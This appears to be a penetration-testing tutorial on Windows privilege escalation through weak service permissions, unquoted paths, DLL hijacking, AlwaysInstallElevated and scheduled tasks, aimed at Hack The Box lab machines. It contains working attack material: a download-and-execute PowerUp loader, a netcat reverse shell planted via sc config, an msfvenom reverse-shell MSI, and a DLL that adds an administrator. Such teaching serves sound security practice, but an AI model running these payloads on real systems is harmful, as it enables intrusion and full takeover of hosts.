Windows privilege escalation: services, unquoted paths, DLL hijacking and AlwaysInstallElevated

Find and abuse Windows services with weak permissions, unquoted paths, DLL hijacking, scheduled tasks and AlwaysInstallElevated, by hand or with winPEAS.

· 4 min read

If whoami /priv gives you nothing (read the SeImpersonate and Potatoes guide first), the next question on Windows is always the same: what runs as SYSTEM, and which part of it can I modify? A service, a DLL, a scheduled task or an installer. This guide covers all four.

Quick enumeration

Automated tools save time; the Windows privilege escalation cheat sheet has the equivalent manual commands.

# winPEAS: the most complete
.\winPEASx64.exe quiet servicesinfo applicationsinfo

# PowerUp (PowerSploit): fast, with functions to exploit what it finds
. .\PowerUp.ps1
Invoke-AllChecks

Tip

If script execution is blocked, load PowerUp in memory: IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerUp.ps1'). In Constrained Language Mode it will not work: read AppLocker and CLM.

1. Services with weak permissions

A service stores in the registry which binary it runs (ImagePath) and under which account. There are three ways to hijack it:

What you can modify What it looks like What you do
The service configuration SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS in accesschk sc config to change the binary
The service binary (F), (M) or (W) for your user in icacls Replace it with yours
The registry key FullControl or SetValue on HKLM\SYSTEM\CurrentControlSet\Services\<svc> Change ImagePath
# Permissions on services (Sysinternals)
.\accesschk64.exe /accepteula -uwcqv "Authenticated Users" *
.\accesschk64.exe /accepteula -uwcqv %USERNAME% *

# A service's binary and account
sc qc ServiceName
icacls "C:\Program Files\App\service.exe"

# Permissions on the registry key
Get-Acl HKLM:\SYSTEM\CurrentControlSet\Services\ServiceName | Format-List

Abuse (you need to be able to restart the service, or wait for a reboot if it starts automatically):

sc config ServiceName binpath= "C:\Windows\Temp\nc.exe 10.10.14.5 4444 -e cmd.exe"
sc stop ServiceName
sc start ServiceName

Note

The space after binpath= is mandatory. sc start will complain that the service did not respond, but your command has already run as the service account.

2. Unquoted service paths

If the binary path has spaces and no quotes, Windows tries each piece. For C:\Program Files\My App\bin\service.exe it tries, in this order:

C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My App\bin\service.exe

If you can write to C:\Program Files\ (rare) or to C:\Program Files\My App\ (more common), drop My.exe there and restart the service.

wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
Get-CimInstance Win32_Service | ? { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' } | select Name,PathName,StartMode
icacls "C:\Program Files\My App"

3. DLL hijacking

When a program loads a DLL without an absolute path, Windows looks for it in this order: the program's folder, System32, the Windows folder, the current folder and then every folder in PATH. If a service running as SYSTEM looks for a DLL that does not exist and you can write to one of those folders, your DLL gets loaded.

How to find it:

  • Process Monitor (in your own lab, with the same program): filter on Result is NAME NOT FOUND and Path ends with .dll.
  • PATH folders you can write to: $env:Path -split ';' | % { icacls $_ 2>$null | findstr /i "Users Everyone Authenticated" }.
  • Third-party programs installed outside Program Files (for example in C:\App\), where users often have write access.

A minimal DLL to test with, compiled from Linux:

// x86_64-w64-mingw32-gcc -shared -o hijack.dll hijack.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID r) {
    if (reason == DLL_PROCESS_ATTACH) {
        system("cmd /c net localgroup administrators user /add");
    }
    return TRUE;
}

Look at the catalogue's DLL hijacking machines: it is usually a third-party service, not something in Windows itself.

4. AlwaysInstallElevated

Two registry keys, usually set through a GPO, let any user install MSI packages as SYSTEM. Both must be set to 1:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

If they are, build an MSI (with the msfvenom generator) and install it:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f msi -o setup.msi
msiexec /quiet /qn /i C:\Windows\Temp\setup.msi

The Love machine is the classic example of AlwaysInstallElevated.

5. Scheduled tasks and admin scripts

Admins leave scripts that run on their own: backups, clean-ups, health checks. If you can modify the script or the binary the task launches, it runs with its author's permissions.

schtasks /query /fo LIST /v | findstr /i "TaskName Run Author"
Get-ScheduledTask | ? { $_.Principal.UserId -notmatch 'SYSTEM|LOCAL|NETWORK' } | select TaskName,TaskPath
icacls C:\Scripts\backup.ps1

You will not always see the task (other users' tasks are hidden). Look for clues: folders like C:\Scripts, .ps1 or .bat files with a recent modification time, or logs updated every few minutes. This is the admin tasks and scripts technique.

Common errors

  • Access is denied on sc stop: you can change the configuration but not restart the service. If its START_TYPE is AUTO_START, rebooting the machine (shutdown /r /t 0, if you have the privilege) also works.
  • The binary you upload dies straight away: a service must answer the service manager or Windows kills it after 30 seconds. Use a command that spawns another process (cmd /c start ...) or a real service executable (msfvenom -f exe-service).
  • The DLL loads but nothing happens: wrong architecture (32 vs 64 bit), or the program needs a specific exported function to keep running.

What next

If none of this shows up, check credentials in the registry and history and Windows exploits for unpatched versions. And if the machine is domain-joined, the escalation may come from the Active Directory side: start with the AD enumeration guide.

Practise it on real machines

Hack The Box machines where this technique is used. Each ▶ jumps to the minute of the IppSec video where it shows up.

Misconfigured services 7 machines

See all 7 machines →

DLL hijacking 7 machines

See all 7 machines →

AlwaysInstallElevated 1 machine

Scheduled tasks and admin scripts 9 machines

See all 9 machines →

Spotted a mistake or something missing? Tell us